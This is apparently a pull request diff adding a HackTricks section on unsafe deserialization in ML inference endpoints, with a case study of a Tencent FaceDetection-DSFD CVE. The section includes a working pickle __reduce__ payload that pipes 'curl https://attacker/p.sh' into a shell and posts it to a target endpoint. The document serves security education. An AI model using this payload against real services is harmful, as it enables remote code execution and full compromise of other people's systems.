Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
32 changes: 32 additions & 0 deletions src/pentesting-web/deserialization/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -234,6 +234,36 @@ python-yaml-deserialization.md
../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
{{#endref}}

## Unsafe deserialization in ML/AI inference endpoints

Modern ML inference deployments frequently expose HTTP/gRPC endpoints that accept serialized Python objects, tensors, or model-specific blobs and immediately feed them into helpers such as `pickle.loads`, `torch.load`, or framework-specific deserializers. When the payload comes from an untrusted client (or from a user opening an attacker-supplied file that is relayed to the inference service), the reducer hooks inside the serialized object execute **before** any model logic, giving the attacker RCE in the inference worker.

### Attack surface

- **Binary request handlers** – APIs that expect `application/octet-stream` bodies (e.g., `POST /resnet`) and deserialize them into `numpy`/PyTorch data structures without validating the type graph.
- **Job scheduling bridges** – Desktop apps or web front-ends that upload serialized requests to a queue processed by a backend running as `root`, effectively turning a user interaction (UI:R) into remote execution.
- **Model upgrade/import endpoints** – Some services allow uploading tuned weights or configs via the same endpoint used for inference, reusing unsafe loaders such as `torch.jit.load()` under the hood.

### Case study – Tencent FaceDetection-DSFD resnet (CVE-2025-13715 / ZDI-25-1183)

Tencent’s FaceDetection-DSFD exposes a `resnet` endpoint that deserializes user-controlled data. ZDI confirmed that a remote attacker can coerce a victim to load a malicious page/file, have it push a crafted serialized blob to that endpoint, and trigger deserialization as `root`, leading to full compromise.

The exploit flow mirrors typical pickle abuse:

```python
import pickle, os, requests

class Payload:
def __reduce__(self):
return (os.system, ("curl https://attacker/p.sh | sh",))

blob = pickle.dumps(Payload())
requests.post("https://target/api/resnet", data=blob,
headers={"Content-Type": "application/octet-stream"})
```

Any gadget reachable during deserialization (constructors, `__setstate__`, framework callbacks, etc.) can be weaponized the same way, regardless of whether the transport was HTTP, WebSocket, or a file dropped into a watched directory.

## NodeJS

### JS Magic Functions
Expand Down Expand Up @@ -1250,5 +1280,7 @@ Industrialized gadget discovery:
- [OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)](https://www.offsec.com/blog/recent-vulnerabilities-in-redis-servers-lua-scripting-engine-2/)
- [PoC – tecxx/CVE-2025-59287-WSUS](https://github.com/tecxx/CVE-2025-59287-WSUS)
- [RSC Report Lab – CVE-2025-55182 (React 19.2.0)](https://github.com/ghe770mvp/RSC_Vuln_Lab)
- [ZDI-25-1183 – Tencent FaceDetection-DSFD resnet deserialization RCE](http://www.zerodayinitiative.com/advisories/ZDI-25-1183/)
- [Tencent FaceDetection-DSFD patch commit a941d089d8ae2df5292a904e79d88649cb58a440](https://github.com/Tencent/FaceDetection-DSFD/commit/a941d089d8ae2df5292a904e79d88649cb58a440)

{{#include ../../banners/hacktricks-training.md}}